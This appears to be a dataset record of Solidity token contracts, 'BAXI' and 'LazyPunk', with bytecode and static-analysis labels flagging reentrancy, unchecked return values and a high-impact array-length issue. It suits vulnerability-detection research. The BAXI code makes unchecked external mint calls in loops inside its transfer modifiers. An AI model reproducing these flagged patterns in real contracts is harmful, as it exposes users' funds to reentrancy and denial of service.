/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DerivativeTokenInterface {
function mint(address _to, uint256 _amount) public returns (bool);
}
contract BAXI is StandardToken, BurnableToken, Ownable {
string public constant name = "BAOXCOIN";
string public constant symbol = "BAXI";
uint256 public constant decimals = 4;
uint256 public constant initialSupply = 1000000000000;
// Array of derivative token addresses
DerivativeTokenInterface[] public derivativeTokens;
bool public nextDerivativeTokenScheduled = false;
// Time until next token distribution
uint256 public nextDerivativeTokenTime;
// Next token to be distrubuted
DerivativeTokenInterface public nextDerivativeToken;
// Index of last token claimed by BAXI holder, required for holder to claim unclaimed tokens
mapping (address => uint256) lastDerivativeTokens;
function BAXI() public {
totalSupply_ = initialSupply;
balances[msg.sender] = totalSupply_;
Transfer(0, msg.sender, totalSupply_);
}
// Event for token distribution
event DistributeDerivativeTokens(address indexed to, uint256 number, uint256 amount);
// Modifier to handle token distribution
modifier handleDerivativeTokens(address from) {
if (nextDerivativeTokenScheduled && now > nextDerivativeTokenTime) {
derivativeTokens.push(nextDerivativeToken);
nextDerivativeTokenScheduled = false;
delete nextDerivativeTokenTime;
delete nextDerivativeToken;
}
for (uint256 i = lastDerivativeTokens[from]; i < derivativeTokens.length; i++) {
// Since tokens haven't redeemed yet, mint new ones and send them to LCS holder
derivativeTokens[i].mint(from, balances[from]);
DistributeDerivativeTokens(from, i, balances[from]);
}
lastDerivativeTokens[from] = derivativeTokens.length;
_;
}
// Claim unclaimed derivative tokens
function claimDerivativeTokens() public handleDerivativeTokens(msg.sender) returns (bool) {
return true;
}
// Set the address and release time of the next token distribution
function scheduleNewDerivativeToken(address _address, uint256 _time) public onlyOwner returns (bool) {
require(!nextDerivativeTokenScheduled);
nextDerivativeTokenScheduled = true;
nextDerivativeTokenTime = _time;
nextDerivativeToken = DerivativeTokenInterface(_address);
return true;
}
// Make sure derivative tokens are handled for the _from and _to addresses
function transferFrom(address _from, address _to, uint256 _value) public handleDerivativeTokens(_from) handleDerivativeTokens(_to) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
// Make sure derivative tokens are handled for the msg.sender and _to addresses
function transfer(address _to, uint256 _value) public handleDerivativeTokens(msg.sender) handleDerivativeTokens(_to) returns (bool) {
return super.transfer(_to, _value);
}
}
|
0x6060604052600436106101035763ffffffff60e060020a60003504166306fdde038114610108578063095ea7b31461019257806318160ddd146101c85780631b841fea146101ed57806323b872dd14610200578063241d110814610228578063313ce56714610257578063378dc3dc1461026a57806342966c681461027d57806359793b3a146102955780635d7a6b10146102ab57806366188463146102be5780637097048a146102e057806370a08231146102f357806374bde311146103125780638da5cb5b1461033457806395d89b4114610347578063a9059cbb1461035a578063d73dd6231461037c578063dd62ed3e1461039e578063f2fde38b146103c3575b600080fd5b341561011357600080fd5b61011b6103e2565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015757808201518382015260200161013f565b50505050905090810190601f1680156101845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019d57600080fd5b6101b4600160a060020a0360043516602435610419565b604051901515815260200160405180910390f35b34156101d357600080fd5b6101db610485565b60405190815260200160405180910390f35b34156101f857600080fd5b6101db61048c565b341561020b57600080fd5b6101b4600160a060020a0360043581169060243516604435610492565b341561023357600080fd5b61023b6107f6565b604051600160a060020a03909116815260200160405180910390f35b341561026257600080fd5b6101db610805565b341561027557600080fd5b6101db61080a565b341561028857600080fd5b610293600435610813565b005b34156102a057600080fd5b61023b6004356108cd565b34156102b657600080fd5b6101b46108f5565b34156102c957600080fd5b6101b4600160a060020a03600435166024356108fe565b34156102eb57600080fd5b6101b46109f8565b34156102fe57600080fd5b6101db600160a060020a0360043516610ba8565b341561031d57600080fd5b6101b4600160a060020a0360043516602435610bc3565b341561033f57600080fd5b61023b610c2a565b341561035257600080fd5b61011b610c39565b341561036557600080fd5b6101b4600160a060020a0360043516602435610c70565b341561038757600080fd5b6101b4600160a060020a0360043516602435610fd2565b34156103a957600080fd5b6101db600160a060020a0360043581169060243516611076565b34156103ce57600080fd5b610293600160a060020a03600435166110a1565b60408051908101604052600881527f42414f58434f494e000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6001545b90565b60065481565b6005546000908490829060ff1680156104ac575060065442115b156105075760048054600181016104c383826113e9565b5060009182526020822060078054929091018054600160a060020a03909316600160a060020a03199384161790556005805460ff1916905560069290925581541690555b50600160a060020a0381166000908152600860205260409020545b60045481101561061d57600480548290811061053a57fe5b6000918252602080832090910154600160a060020a0385811684529183905260408084205492909116926340c10f19928692909190516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156105b757600080fd5b6102c65a03f115156105c857600080fd5b50505060405180515050600160a060020a0382166000818152602081905260409081902054600080516020611431833981519152918491905191825260208201526040908101905180910390a2600101610522565b600454600160a060020a03831660009081526008602052604081209190915560055486919060ff168015610652575060065442115b156106ad57600480546001810161066983826113e9565b5060009182526020822060078054929091018054600160a060020a03909316600160a060020a03199384161790556005805460ff1916905560069290925581541690555b50600160a060020a0381166000908152600860205260409020545b6004548110156107c35760048054829081106106e057fe5b6000918252602080832090910154600160a060020a0385811684529183905260408084205492909116926340c10f19928692909190516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561075d57600080fd5b6102c65a03f1151561076e57600080fd5b50505060405180515050600160a060020a0382166000818152602081905260409081902054600080516020611431833981519152918491905191825260208201526040908101905180910390a26001016106c8565b600454600160a060020a0383166000908152600860205260409020556107ea88888861112f565b98975050505050505050565b600754600160a060020a031681565b600481565b64e8d4a5100081565b600160a060020a03331660009081526020819052604081205482111561083857600080fd5b5033600160a060020a03811660009081526020819052604090205461085d90836112af565b600160a060020a038216600090815260208190526040902055600154610889908363ffffffff6112af16565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60048054829081106108db57fe5b600091825260209091200154600160a060020a0316905081565b60055460ff1681565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561095b57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610992565b61096b818463ffffffff6112af16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6005546000903390829060ff168015610a12575060065442115b15610a6d576004805460018101610a2983826113e9565b5060009182526020822060078054929091018054600160a060020a03909316600160a060020a03199384161790556005805460ff1916905560069290925581541690555b50600160a060020a0381166000908152600860205260409020545b600454811015610b83576004805482908110610aa057fe5b6000918252602080832090910154600160a060020a0385811684529183905260408084205492909116926340c10f19928692909190516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610b1d57600080fd5b6102c65a03f11515610b2e57600080fd5b50505060405180515050600160a060020a0382166000818152602081905260409081902054600080516020611431833981519152918491905191825260208201526040908101905180910390a2600101610a88565b600454600160a060020a03831660009081526008602052604090205560019250505090565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a03908116911614610be157600080fd5b60055460ff1615610bf157600080fd5b506005805460ff19166001908117909155600682905560078054600160a060020a038516600160a060020a031990911617905592915050565b600354600160a060020a031681565b60408051908101604052600481527f4241584900000000000000000000000000000000000000000000000000000000602082015281565b6005546000903390829060ff168015610c8a575060065442115b15610ce5576004805460018101610ca183826113e9565b5060009182526020822060078054929091018054600160a060020a03909316600160a060020a03199384161790556005805460ff1916905560069290925581541690555b50600160a060020a0381166000908152600860205260409020545b600454811015610dfb576004805482908110610d1857fe5b6000918252602080832090910154600160a060020a0385811684529183905260408084205492909116926340c10f19928692909190516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d9557600080fd5b6102c65a03f11515610da657600080fd5b50505060405180515050600160a060020a0382166000818152602081905260409081902054600080516020611431833981519152918491905191825260208201526040908101905180910390a2600101610d00565b600454600160a060020a03831660009081526008602052604081209190915560055486919060ff168015610e30575060065442115b15610e8b576004805460018101610e4783826113e9565b5060009182526020822060078054929091018054600160a060020a03909316600160a060020a03199384161790556005805460ff1916905560069290925581541690555b50600160a060020a0381166000908152600860205260409020545b600454811015610fa1576004805482908110610ebe57fe5b6000918252602080832090910154600160a060020a0385811684529183905260408084205492909116926340c10f19928692909190516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610f3b57600080fd5b6102c65a03f11515610f4c57600080fd5b50505060405180515050600160a060020a0382166000818152602081905260409081902054600080516020611431833981519152918491905191825260208201526040908101905180910390a2600101610ea6565b600454600160a060020a038316600090815260086020526040902055610fc787876112c1565b979650505050505050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461100a908363ffffffff6113d316565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146110bc57600080fd5b600160a060020a03811615156110d157600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360038054600160a060020a031916600160a060020a0392909216919091179055565b6000600160a060020a038316151561114657600080fd5b600160a060020a03841660009081526020819052604090205482111561116b57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561119e57600080fd5b600160a060020a0384166000908152602081905260409020546111c7908363ffffffff6112af16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546111fc908363ffffffff6113d316565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054611242908363ffffffff6112af16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000828211156112bb57fe5b50900390565b6000600160a060020a03831615156112d857600080fd5b600160a060020a0333166000908152602081905260409020548211156112fd57600080fd5b600160a060020a033316600090815260208190526040902054611326908363ffffffff6112af16565b600160a060020a03338116600090815260208190526040808220939093559085168152205461135b908363ffffffff6113d316565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b6000828201838110156113e257fe5b9392505050565b81548183558181151161140d5760008381526020902061140d918101908301611412565b505050565b61048991905b8082111561142c5760008155600101611418565b50905600c5c9dc99cd438523399cb76c37c07e4cda018f9964a29e38e278efe297985c24a165627a7a72305820bceebd826280ac904878ec2350da12b2b06699e45b9c46a9a6c8bc2dad40b8960029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 3,287 |
0x1faf6068000e58bc5fbb3a80c4155987f0dc31e7
|
/**
*Submitted for verification at Etherscan.io on 2021-08-26
*/
/*
* LazyPunk ($LZP)
*
* Website: lazypunk.io
* Twitter: twitter.com/LazyPunkNFT
* Telegram: t.me/LazyPunkNFT
*
* ****USING FTPAntiBot****
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private m_Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
m_Owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return m_Owner;
}
modifier onlyOwner() {
require(_msgSender() == m_Owner, "Ownable: caller is not the owner");
_;
} // You will notice there is no renounceOwnership() This is an unsafe and unnecessary practice
} // By renouncing ownership you lose control over your coin and open it up to potential attacks
// This practice only came about because of the lack of understanding on how contracts work
interface IUniswapV2Factory { // We advise not using a renounceOwnership() function. You can look up hacks of address(0) contracts.
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface FTPAntiBot { // Here we create the interface to interact with AntiBot
function scanAddress(address _address, address _safeAddress, address _origin) external returns (bool);
function registerBlock(address _recipient, address _sender) external;
}
contract LazyPunk is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 private constant TOTAL_SUPPLY = 1000000000 * 10**9;
string private m_Name = "LazyPunk";
string private m_Symbol = "LZP";
uint8 private m_Decimals = 9;
uint256 private m_BanCount = 0;
uint256 private m_TxLimit = 100000 * 10**9;
uint256 private m_SafeTxLimit = m_TxLimit;
uint256 private m_WalletLimit = m_SafeTxLimit.mul(4);
uint256 private m_TaxFee;
uint8 private m_DevFee = 0;
address payable private m_FeeAddress;
address private m_UniswapV2Pair;
bool private m_TradingOpened = false;
bool private m_IsSwap = false;
bool private m_SwapEnabled = false;
bool private m_AntiBot = true;
mapping (address => bool) private m_Bots;
mapping (address => bool) private m_Staked;
mapping (address => bool) private m_ExcludedAddresses;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private m_Allowances;
FTPAntiBot private AntiBot;
IUniswapV2Router02 private m_UniswapV2Router;
event MaxOutTxLimit(uint MaxTransaction);
event BanAddress(address Address, address Origin);
modifier lockTheSwap {
m_IsSwap = true;
_;
m_IsSwap = false;
}
receive() external payable {}
constructor () {
FTPAntiBot _antiBot = FTPAntiBot(0x590C2B20f7920A2D21eD32A21B616906b4209A43);
AntiBot = _antiBot;
m_Balances[address(this)] = TOTAL_SUPPLY;
m_ExcludedAddresses[owner()] = true;
m_ExcludedAddresses[address(this)] = true;
emit Transfer(address(0), address(this), TOTAL_SUPPLY);
}
// ####################
// ##### DEFAULTS #####
// ####################
function name() public view returns (string memory) {
return m_Name;
}
function symbol() public view returns (string memory) {
return m_Symbol;
}
function decimals() public view returns (uint8) {
return m_Decimals;
}
// #####################
// ##### OVERRIDES #####
// #####################
function totalSupply() public pure override returns (uint256) {
return TOTAL_SUPPLY;
}
function balanceOf(address _account) public view override returns (uint256) {
return m_Balances[_account];
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_msgSender(), _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
return m_Allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
_approve(_msgSender(), _spender, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
// ####################
// ##### PRIVATES #####
// ####################
function _readyToTax(address _sender) private view returns(bool) {
return !m_IsSwap && _sender != m_UniswapV2Pair && m_SwapEnabled;
}
function _pleb(address _sender, address _recipient) private view returns(bool) {
return _sender != owner() && _recipient != owner() && m_TradingOpened;
}
function _senderNotUni(address _sender) private view returns(bool) {
return _sender != m_UniswapV2Pair;
}
function _txRestricted(address _sender, address _recipient) private view returns(bool) {
return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient];
}
function _walletCapped(address _recipient) private view returns(bool) {
return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router);
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
m_Allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
require(_amount > 0, "Transfer amount must be greater than zero");
uint8 _fee = _setFee(_sender, _recipient);
uint256 _feeAmount = _amount.div(100).mul(_fee);
uint256 _newAmount = _amount.sub(_feeAmount);
if(m_AntiBot) {
if((_recipient == m_UniswapV2Pair || _sender == m_UniswapV2Pair) && m_TradingOpened){
require(!AntiBot.scanAddress(_recipient, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop");
require(!AntiBot.scanAddress(_sender, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop");
}
}
if(_walletCapped(_recipient))
require(balanceOf(_recipient) < m_WalletLimit); // Check balance of recipient and if < max amount, fails
if (_pleb(_sender, _recipient)) {
if (_txRestricted(_sender, _recipient))
require(_amount <= m_TxLimit);
_tax(_sender);
}
m_Balances[_sender] = m_Balances[_sender].sub(_amount);
m_Balances[_recipient] = m_Balances[_recipient].add(_newAmount);
m_Balances[address(this)] = m_Balances[address(this)].add(_feeAmount);
emit Transfer(_sender, _recipient, _newAmount);
if(m_AntiBot) // Check if AntiBot is enabled
AntiBot.registerBlock(_sender, _recipient); // Tells AntiBot to start watching
}
function _setFee(address _sender, address _recipient) private returns(uint8){
bool _takeFee = !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]);
if(!_takeFee)
m_DevFee = 0;
if(_takeFee)
m_DevFee = 5;
return m_DevFee;
}
function _tax(address _sender) private {
uint256 _tokenBalance = balanceOf(address(this));
if (_readyToTax(_sender)) {
_swapTokensForETH(_tokenBalance);
_disperseEth();
}
}
function _swapTokensForETH(uint256 _amount) private lockTheSwap {
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = m_UniswapV2Router.WETH();
_approve(address(this), address(m_UniswapV2Router), _amount);
m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
_amount,
0,
_path,
address(this),
block.timestamp
);
}
function _disperseEth() private {
m_FeeAddress.transfer(address(this).balance);
}
// ####################
// ##### EXTERNAL #####
// ####################
function banCount() external view returns (uint256) {
return m_BanCount;
}
function checkIfBanned(address _address) external view returns (bool) { // Tool for traders to verify ban status
bool _banBool = false;
if(m_Bots[_address])
_banBool = true;
return _banBool;
}
// ######################
// ##### ONLY OWNER #####
// ######################
function addLiquidity() external onlyOwner() {
require(!m_TradingOpened,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
m_UniswapV2Router = _uniswapV2Router;
_approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY);
m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
m_UniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
m_SwapEnabled = true;
m_TradingOpened = true;
IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max);
}
function setTxLimitMax() external onlyOwner() { // As it sits here, this function raises maxTX to maxWallet
m_TxLimit = m_WalletLimit;
m_SafeTxLimit = m_WalletLimit;
emit MaxOutTxLimit(m_TxLimit);
}
function manualBan(address _a) external onlyOwner() {
m_Bots[_a] = true;
}
function removeBan(address _a) external onlyOwner() {
m_Bots[_a] = false;
}
function contractBalance() external view onlyOwner() returns (uint256) { // Just used to verify initial balance for addLiquidity
return address(this).balance;
}
function setFeeAddress(address payable _feeAddress) external onlyOwner() { // Use this function to assign Dev tax wallet
m_FeeAddress = _feeAddress;
m_ExcludedAddresses[_feeAddress] = true;
}
function assignAntiBot(address _address) external onlyOwner() { // Highly recommend use of a function that can edit AntiBot contract address to allow for AntiBot version updates
FTPAntiBot _antiBot = FTPAntiBot(_address);
AntiBot = _antiBot;
}
function toggleAntiBot() external onlyOwner() returns (bool){ // Having a way to turn interaction with other contracts on/off is a good design practice
bool _localBool;
if(m_AntiBot){
m_AntiBot = false;
_localBool = false;
}
else{
m_AntiBot = true;
_localBool = true;
}
return _localBool;
}
}
|
0x6080604052600436106101235760003560e01c80638705fcd4116100a0578063af74ff5b11610064578063af74ff5b1461033b578063c735f3c914610350578063dd62ed3e14610365578063e8078d94146103ab578063fa2b2009146103c057600080fd5b80638705fcd4146102a95780638b7afe2e146102c95780638da5cb5b146102de57806395d89b4114610306578063a9059cbb1461031b57600080fd5b8063313ce567116100e7578063313ce567146101f15780633908cfd21461021357806362caa70414610233578063700542ec1461025357806370a082311461027357600080fd5b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461018a578063228e7a91146101af57806323b872dd146101d157600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506101446103d5565b6040516101519190611837565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046117bf565b610467565b6040519015158152602001610151565b34801561019657600080fd5b50670de0b6b3a76400005b604051908152602001610151565b3480156101bb57600080fd5b506101cf6101ca36600461170f565b61047e565b005b3480156101dd57600080fd5b5061017a6101ec36600461177f565b6104de565b3480156101fd57600080fd5b5060035460405160ff9091168152602001610151565b34801561021f57600080fd5b506101cf61022e36600461170f565b610547565b34801561023f57600080fd5b506101cf61024e36600461170f565b61059b565b34801561025f57600080fd5b5061017a61026e36600461170f565b6105f0565b34801561027f57600080fd5b506101a161028e36600461170f565b6001600160a01b03166000908152600e602052604090205490565b3480156102b557600080fd5b506101cf6102c436600461170f565b61061c565b3480156102d557600080fd5b506101a161068e565b3480156102ea57600080fd5b506000546040516001600160a01b039091168152602001610151565b34801561031257600080fd5b506101446106c7565b34801561032757600080fd5b5061017a6103363660046117bf565b6106d6565b34801561034757600080fd5b5061017a6106e3565b34801561035c57600080fd5b506101cf61075b565b34801561037157600080fd5b506101a1610380366004611747565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b3480156103b757600080fd5b506101cf6107d0565b3480156103cc57600080fd5b506004546101a1565b6060600180546103e4906119e3565b80601f0160208091040260200160405190810160405280929190818152602001828054610410906119e3565b801561045d5780601f106104325761010080835404028352916020019161045d565b820191906000526020600020905b81548152906001019060200180831161044057829003601f168201915b5050505050905090565b6000610474338484610c2f565b5060015b92915050565b6000546001600160a01b0316336001600160a01b0316146104ba5760405162461bcd60e51b81526004016104b19061188a565b60405180910390fd5b6001600160a01b03166000908152600b60205260409020805460ff19166001179055565b60006104eb848484610d53565b61053d843361053885604051806060016040528060288152602001611a4a602891396001600160a01b038a166000908152600f602090815260408083203384529091529020549190611221565b610c2f565b5060019392505050565b6000546001600160a01b0316336001600160a01b03161461057a5760405162461bcd60e51b81526004016104b19061188a565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6000546001600160a01b0316336001600160a01b0316146105ce5760405162461bcd60e51b81526004016104b19061188a565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381166000908152600b6020526040812054819060ff16156104785750600192915050565b6000546001600160a01b0316336001600160a01b03161461064f5760405162461bcd60e51b81526004016104b19061188a565b60098054610100600160a81b0319166101006001600160a01b03939093169283021790556000908152600d60205260409020805460ff19166001179055565b600080546001600160a01b0316336001600160a01b0316146106c25760405162461bcd60e51b81526004016104b19061188a565b504790565b6060600280546103e4906119e3565b6000610474338484610d53565b600080546001600160a01b0316336001600160a01b0316146107175760405162461bcd60e51b81526004016104b19061188a565b600a54600090600160b81b900460ff1615610740575050600a805460ff60b81b19169055600090565b50600a805460ff60b81b1916600160b81b1790556001905090565b6000546001600160a01b0316336001600160a01b03161461078e5760405162461bcd60e51b81526004016104b19061188a565b600754600581905560068190556040519081527f1509687539547b95d9002029c1b24fbfdd2e99b914fabbbc629867062a4ff3cc90602001